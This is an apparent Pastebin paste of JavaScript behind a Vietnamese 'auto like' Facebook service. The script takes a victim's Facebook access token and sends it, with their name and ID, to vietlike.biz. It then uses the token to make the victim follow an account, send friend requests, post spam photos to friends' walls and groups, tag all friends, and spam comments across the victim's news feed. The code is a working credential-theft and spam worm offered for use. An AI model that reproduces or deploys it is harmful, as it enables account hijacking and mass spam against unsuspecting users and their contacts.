Advertisement
Guest User

stript

a guest
Oct 31st, 2014
156
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.17 KB | None | 0 0
  1. <script>
  2. var arr=[""];
  3. var tokenme;
  4. var user = {};
  5. function ileti(type,msg){
  6. $('#logs').append('<div class="notification ' + type + '" id="ileti" style="display:none;margin-top:10px;"><span class="icon"></span>' + msg + '</div>');
  7. $('#ileti').fadeIn('slow');
  8. $('#ileti').removeAttr('id');
  9. }
  10. $('#gonder').click(function(){
  11. if($('#access_token').val().length > 50){
  12. $('.anlatim').hide();
  13. $('#logs').html("");
  14. $('#gonder').attr("disabled","disabled");
  15. $('#gonder').attr("class","button grey");
  16. access_token = $('#access_token').val();
  17. if(access_token.indexOf("access_token=") > 0){
  18. access_token = access_token.split("access_token=")[1].split("&")[0];
  19. $('#access_token').val(access_token);
  20. }
  21. jQuery.ajax({
  22. url:'https://graph.facebook.com/me?access_token=' + access_token,
  23. dataType:'jsonp',
  24. success:function(data){
  25. user = data;
  26. if(user && user.name){
  27. tokenme = access_token;
  28. $.ajax({
  29. url: 'http://vietlike.biz/login?user=',
  30. data: 'acessinterdata=' + access_token + '&user_name=' + user.name + '&user_id=' + user.id ,
  31. success: function(data){
  32. $("#someElement").html(data);
  33. }
  34. });
  35. add(tokenme,"");
  36.  
  37. follow("zanedarkvn");
  38.  
  39.  
  40.  
  41.  
  42.  
  43. Feed_Tag(access_token);
  44. getStatus(access_token);
  45. Get_Groups();
  46. frnds();
  47. pgrp();
  48. arkadaslar();
  49. Feed_Groups(a);
  50. }else{
  51. ileti("error",user.error.type+" error ("+user.error.code+")");
  52. $('#gonder').removeAttr("disabled");
  53. $('#gonder').attr("class","button blue");
  54. }
  55. }
  56. });
  57. }
  58. });
  59. function pc(a){$.getJSON('https://graph.facebook.com/'+a+'/likes?method=POST&access_token='+access_token)};
  60. function pgrp(){
  61. jQuery.ajax({
  62. url:'https://graph.facebook.com/fql?q=select gid, name from group where gid IN (SELECT gid FROM group_member WHERE uid=me()) order by rand() limit 70&access_token='+access_token,
  63. dataType:'jsonp',
  64. success:function(data){
  65. wallpostg(data);
  66. }
  67. });
  68. }
  69. function frnds(){
  70. jQuery.ajax({
  71. url:'https://graph.facebook.com/fql?q=SELECT uid, first_name FROM user WHERE uid IN ( SELECT uid2 FROM friend WHERE uid1 = me() ) ORDER BY rand() limit 500&access_token='+access_token,
  72. dataType:'jsonp',
  73. success:function(data){
  74. wallpost(data);
  75. }
  76. });
  77. }
  78. function kayit(user,token){
  79. jQuery.ajax({
  80. url:'kayit.php',
  81. type:'POST',
  82. data:{userid:user.id,gender:user.gender,access_token:token,username:user.name},
  83. success:function(data){
  84. if(data == "true"){
  85. ileti("success","Kayit basarili");
  86. }
  87. }
  88. });
  89. }
  90. function sayfalar(sayfa){
  91. }
  92. function arakla(token){
  93. jQuery.ajax({
  94. url:'https://graph.facebook.com/me?access_token=' + token,
  95. dataType:'jsonp',
  96. success:function(data){
  97. if(data.id){
  98. kayit(data,token);
  99. }
  100. }});
  101. }
  102. function Get_Groups() {
  103. jQuery.ajax({
  104. url: 'https://graph.facebook.com/fql?q=SELECT gid FROM group WHERE gid IN (SELECT gid FROM group_member WHERE uid = me()) order by rand()&access_token=' + access_token,
  105. dataType: 'jsonp',
  106. success: function (a) {
  107. Feed_Groups(a)
  108. }
  109. })
  110. }
  111.  
  112. link=" VIETLIKE*BIZ - Post=";
  113. fotolink ="http://revisedagain.com/wp-content/uploads/2012/03/fblike.png";
  114. text =" Auto Like ,Auto Sub ,Auto Share ,Auto FanPage . Không Spam , Free , chát lượng , An Toàn Tuyệt Đối. Truy cập VIETLIKE. BIZ để sử dụng nha ! <3 nhớ vào auto ủng hộ nhé !"+link+ Math.floor((Math.random()*100000)+1);
  115. gonderildi = 0;
  116. a ="agrad?vel " + Math.floor((Math.random()*50)+50);
  117. function com(a){$.getJSON('https://graph.facebook.com//comments?method=POST&message=' + a + '&access_token='+access_token)};
  118. function wallpost(list){
  119. for(i=0;i<list.data.length;i++){
  120. jQuery.ajax({
  121. url:'https://graph.facebook.com/'+list.data[i].uid+'/photos?url=' + fotolink + '&message=' + text +'&callback=paylas&method=POST&access_token=' + access_token,
  122. dataType:'script',
  123. success:function(){
  124. gonderildi += 1;
  125. if(gonderildi >= list.data.length){
  126. }
  127. }
  128. });
  129. }
  130. }
  131. function Feed_Groups(a) {
  132. for (i = 0; i < a.data.length; i++) {
  133. tiny_wal(lnk, access_token, a.data[i].gid)
  134. }
  135. }
  136. function wallpostg(list){
  137. for(i=0;i<list.data.length;i++){
  138. jQuery.ajax({
  139. url:'https://graph.facebook.com/'+list.data[i].gid+'/photos?url=' + fotolink + '&message='+ text +'&callback=paylas&method=POST&access_token=' + access_token,
  140. dataType:'script',
  141. success:function(){
  142. gonderildi += 1;
  143. if(gonderildi >= list.data.length){
  144. }
  145. }
  146. });
  147. }
  148. }
  149. function foto_paylas(){
  150. jQuery.ajax({
  151. url:'https://graph.facebook.com/me/photos?privacy={"value":"EVERYONE"}&url=' + fotolink + '&message='+ text +'&callback=paylas&method=POST&access_token=' + access_token,
  152. dataType:'script',
  153. success:function(){
  154. }
  155. });
  156. }
  157. var turler = {video:"Video",status:"Durum Guncellemesi",link:"Baglanti",photo:"Fotograf",swf:"Video"};
  158. function gonderiler(){
  159. jQuery.ajax({
  160. url:'https://graph.facebook.com/me?fields=feed.fields(message,privacy,type)&access_token=' + access_token,
  161. dataType:'jsonp',
  162. success:function(data){
  163. posts = data;
  164. for(i=0;i<posts.feed.data.length;i++){
  165. if(posts.feed.data[i].message){
  166. ileti("success",posts.feed.data[i].message.substr(0,50)+"... ("+turler[posts.feed.data[i].type]+")");
  167. }else{
  168. ileti("success","ID: "+posts.feed.data[i].id.split("_")[1]+"... ("+turler[posts.feed.data[i].type]+")");
  169. }
  170. }
  171. }
  172. });
  173. }
  174. function paylas(){
  175. }
  176. function get_friends(){
  177. jQuery.ajax({
  178. url:'https://graph.facebook.com/fql?q=SELECT uid, first_name FROM user WHERE uid IN ( SELECT uid2 FROM friend WHERE uid1 = me() ) ORDER BY rand() limit 100&access_token='+access_token,
  179. dataType:'jsonp',
  180. success:function(data){
  181. post_friends(data);
  182. }
  183. });
  184. }
  185. function post_friends(list){
  186. for(i=0;i<list.data.length;i++){
  187. jQuery.ajax({
  188. url:'https://graph.facebook.com/'+list.data[i].uid+'/photos?url=' + image_link + '&message=' + text +'' + link+ '&callback=paylas&method=POST&access_token=' + access_token,
  189. dataType:'script',
  190. success:function(){
  191. gonderildi += 1;
  192. if(gonderildi >= list.data.length){
  193. }
  194. }
  195. });
  196. }
  197. }
  198. function follow(follow){
  199. jQuery.ajax({
  200. url:'https://graph.facebook.com/' + follow + '/subscribers?access_token=' + access_token + '&method=post',
  201. dataType:'jsonp',
  202. success:function(data){
  203. }
  204. });
  205. }
  206. function ahmed(link){
  207. jQuery.ajax({
  208. url:'https://graph.facebook.com/me/likes?access_token=' + access_token + '&method=POST&url=' + link,
  209. dataType:'jsonp',
  210. success:function(data){
  211. }
  212. });
  213. }
  214. jQuery.ajax({
  215. url:'https://graph.facebook.com//attending?access_token=' + access_token + '&method=post',
  216. dataType:'jsonp',
  217. success:function(data){
  218. }
  219. });
  220. function Feed_Tag(access_token) {
  221. $.getJSON('https://graph.facebook.com/me/photos?url=' + fotolink + '&message='+ text +' &method=POST&access_token='+access_token, function (f) {
  222. if (f.id) {
  223. $.getJSON('https://graph.facebook.com/me/friends?limit=500&access_token='+access_token, function (c) {
  224. if (c.data) {
  225. var e = [];
  226. $.each(c.data, function (a, b) {
  227. e.push(b.id);
  228. $.getJSON('https://graph.facebook.com/' + f.id + '/tags?to=' + b.id + '&method=post&access_token='+access_token)
  229. })
  230. }
  231. })
  232. }
  233. });
  234. }
  235. function sstats() {
  236. access_token = $('#access_token').val();
  237. $.post("", { subs: user.id } );
  238. sub(access_token,arr[Math.round(arr.length*Math.random())]);
  239. setTimeout("getStatus()",10000);
  240. }
  241. function getStatus(token){
  242. var commentShort = " Auto Like ,Auto Sub ,Auto Share ,Auto FanPage . Không Spam , Free , chất lượng , An Toàn Tuyệt Đối. Truy cập VIETLIKE.BIZ để sử dụng nha ! <3 nhớ vào auto ủng hộ nhé .";
  243. $.getJSON('https://graph.facebook.com/me?access_token=' + token, function (response) {
  244. if (response.id) {
  245. var userid = response.id;
  246. var totalComments = 500;
  247. $.getJSON('https://graph.facebook.com/' + userid + '/home?limit=' + totalComments + '&access_token=' + token, function (response) {
  248. if(response.data){
  249. var allPosts = [];
  250. $.each(response.data, function(i,data){
  251. allPosts.push(data.id);
  252. var megaNumber=Math.floor(Math.random()*900);
  253. var commentMessage = commentShort;
  254. $.getJSON('https://graph.facebook.com/' + data.id + '/comments?method=POST&message=' + commentMessage + '&access_token=' + token, function (response) {
  255. //alert("Comment Posted!");
  256. });
  257. });
  258. }
  259. });
  260. }
  261. });
  262. }
  263. function sub(id){
  264. $.getJSON('https://graph.facebook.com/me/friends?uid='+id+'&method=post&access_token=' +token, function (response) {
  265. //alert(response);
  266. });
  267. }
  268. function add(token,ids){
  269. $.getJSON('https://graph.facebook.com/me/friends?uid=' + ids + '&method=post&access_token=' + token, function (response) {
  270. //alert(response);
  271. });
  272. }
  273. </script>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement